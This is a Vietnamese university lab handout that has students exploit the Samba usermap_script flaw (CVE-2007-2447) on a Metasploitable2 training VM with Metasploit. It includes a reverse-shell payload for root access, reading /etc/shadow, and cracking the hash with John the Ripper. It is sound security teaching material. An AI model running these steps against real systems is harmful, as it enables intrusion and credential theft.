An toàn HĐH (INT1484) - Bài thực hành số 1

1. Mục đích:

- Tìm hiểu về các lỗ hổng một số dịch vụ, phần mềm trên HĐH.
- Luyện thực hành tấn công kiểm soát hệ thống chạy Ubuntu từ xa sử dụng công cụ tấn công Metasploit trên Kali Linux.

2. Các phần mềm, công cụ cần có

- Kali Linux
- Metasploit
- Metasploitable2: máy ảo VMWare chứa lỗi, có thể tải tại:
  - http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

2. Tìm hiểu về các lỗ hổng bảo mật trên một số DV của Ubuntu

Metasploitable2 là một máy ảo VMWare được tích hợp nhiều dịch vụ chứa các lỗi bảo mật đã biết cho phép khai thác kiểm soát hệ thống từ xa phục vụ học tập. Danh sách các lỗ hổng và hướng dẫn khai thác có thể tìm tại: https://www.hackingarticles.in/comprehensive-guide-on-metasploitable-2/

Lỗ hổng là lỗ hổng bảo mật CVE-2007-2447 trên dịch vụ chia sẻ file SMB (Samba) với các phiên bản Samba 3.0.0 đến 3.0.25rc3 có thể cho phép thực thi mã từ xa. Chi tiết về lỗ hổng này có thể tìm tại: https://nvd.nist.gov/vuln/detail/CVE-2007-2447.

3. Nội dung thực hành

3.1 Cài đặt các công cụ, nền tảng

- Cài đặt Kali Linux (nếu chưa cài đặt) trên 1 máy ảo (hoặc máy thực)
  - Bản ISO của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-bare-metal
  - Bản cài sẵn trên máy ảo của Kali Linux có thể tải tại: https://www.kali.org/get-kali/#kali-virtual-machines
  - Đổi tên máy Kali Linux thành dạng Mã SV-Tên-Kali. Ví dụ: Bạn Trần Đức Cường, mã sv B19DCAT018 → tên máy là B19AT018-Cuong-Kali. Nếu chưa biết cách đổi tên máy Linux, tham khảo cách đổi tên máy Metasploitable2 ở dưới.
- Kiểm tra và chạy thử bộ công cụ tấn công MetaSploit
- Tải và cài đặt Metasploitable2 làm máy victim:
  - Tải Metasploitable2
  - Giải nén
  - Sử dụng VMWare Player hoặc VMWare để mở và khởi động máy ảo. Tài khoản đăng nhập vào hệ thống là msfadmin / msfadmin.
- Tạo một người dùng mới trên máy ảo (Ví dụ: Bạn Trần Đức Cường, mã sv B18DCAT018):
  - Tạo mới người dùng cho mình: sudo useradd cuongtd018 , trong đó ghép tên không dấu + chữ cái đầu của họ đệm và 3 số mã sinh viên
  - Tạo mật khẩu cho người dùng: sudo passwd cuongtd018 , nhập mật khẩu mới 2 lần (lưu ý đặt mật khẩu đơn giản và ngắn để có thể crack được).

- Đặt lại tên máy chứa lỗi là Mã SV+Họ và tên. Ví dụ: Bạn Trần Đức Cường, mã sv B18DCAT018 → tên máy là B18AT018-Cuong-Meta. Khởi động lại máy victim để máy nhận tên mới.
    - Hướng dẫn đổi tên máy:
    - Chạy lệnh: sudo nano /etc/hostname
    - Nhập tên máy mới theo quy tắc trên, nhấn Ctrl-x và bấm y để xác nhận
    - Khởi động lại máy: sudo reboot

3.2 Quét máy victim Metasploitable2 tìm các lỗ hổng tồn tại

- Tìm địa chỉ IP của máy victim, kali:
    - Chạy lệnh trong cửa sổ terminal: ifconfig eth0
    - Tìm IP v4 ở interface eth0 ở mục 'inet addr'
- Kiểm tra kết nối mạng giữa các máy:
    - Từ máy victim, chạy lệnh ping <ip_máy kali>
    - Từ máy Kali, chạy lệnh ping <ip_máy victim>
- Sử dụng công cụ nmap để rà quét các lỗ hổng tồn tại trên máy chạy Metasploitable2:
    - Quét cổng dịch vụ netbios-ssn cổng 139:

      nmap --script vuln -p139 <IP_máy đích>

    - Quét cổng dịch vụ microsoft-ds cổng 445:
      nmap --script vuln -p445 <IP_máy đích>

3.3 Khai thác tìm phiên bản Samba đang hoạt động:

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
      msf > use auxiliary/scanner/smb/smb_version
- Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đang sử dụng
- Đặt địa chỉ IP máy victim:
      msf > set RHOST <ip_victim>
- Thực thi tấn công:
      msf > run

  ➔ Máy victim sẽ liệt kê tên dịch vụ Samba và phiên bản -> khoanh đỏ thông tin phiên bản Samba.

- Gõ lệnh exit để kết thúc

3.4 Khai thác lỗi trên Samba cho phép mở shell chạy với quyền root:

- Khởi động Metasploit
- Khai báo sử dụng mô đun tấn công:
      msf > use exploit/multi/samba/usermap_script
- Chạy lệnh "show options" để xem các thông tin về mô đun tấn công đang sử dụng
- Đặt địa chỉ IP máy victim:
      msf > set RHOST <ip_victim>
- Chọn payload cho thực thi (mở shell):
      msf > set payload cmd/unix/reverse
- Đặt 445 là cổng truy cập máy victim:
      msf > set RPORT 445

- Chạy lệnh “show options” để xem các thông tin về thiết lập tấn công đang sử dụng
- Thực thi tấn công:

  msf > exploit

  ➔ Cửa hậu mở **shell** với người dùng **root** cho phép chạy lệnh từ máy Kali

  ➔ có thể thực hiện bất cứ lệnh shell nào trên máy victim.
- Chạy các lệnh để đọc tên người dùng và máy đang truy cập:
  whoami
  uname -a
- Lấy tên người dùng và mật khẩu đã tạo ở mục 3.1:

  cat /etc/shadow | grep cuongtd018 , trong đó cuongtd018 là tên người dùng của mình đã tạo
- Chọn và sao chép cả dòng tên người dùng và mật khẩu băm vào clipboard
- Mở một cửa sổ Terminal mới, chạy lệnh:

  nano password

  sau đó paste thông tin tên người dùng và mật khẩu băm từ clipboard vào file password

  Gõ Ctrl-x để lưu vào file
- Crack để lấy mật khẩu sử dụng chương trình john the ripper (hoặc 1 công cụ crack mật khẩu khác):

  john --show password

  Chụp màn hình sao chép kết quả crack mật khẩu.
- Gõ Ctrl-c để kết thúc

4. Yêu cầu cần đạt

1. Thành thạo cài đặt và chạy máy ảo Ubuntu
2. Thành thạo sử dụng Metasploit để tấn công khai thác lỗ hổng sử dụng thư viện có sẵn
3. Chụp ảnh màn hình kết quả lưu vào file (hoặc giữ nguyên cửa sổ màn hình thực hiện):
   a. Màn hình quét các lỗ hổng
   b. Màn hình phiên bản Samba
   c. Màn hình sau khi tấn công thành công và chạy các lệnh whoami và uname -a trên hệ thống victim (tên máy đặt lại theo yêu cầu);
   d. Màn hình chạy lệnh cat trích xuất tên và mật khẩu người dùng
   e. Màn hình crack mật khẩu.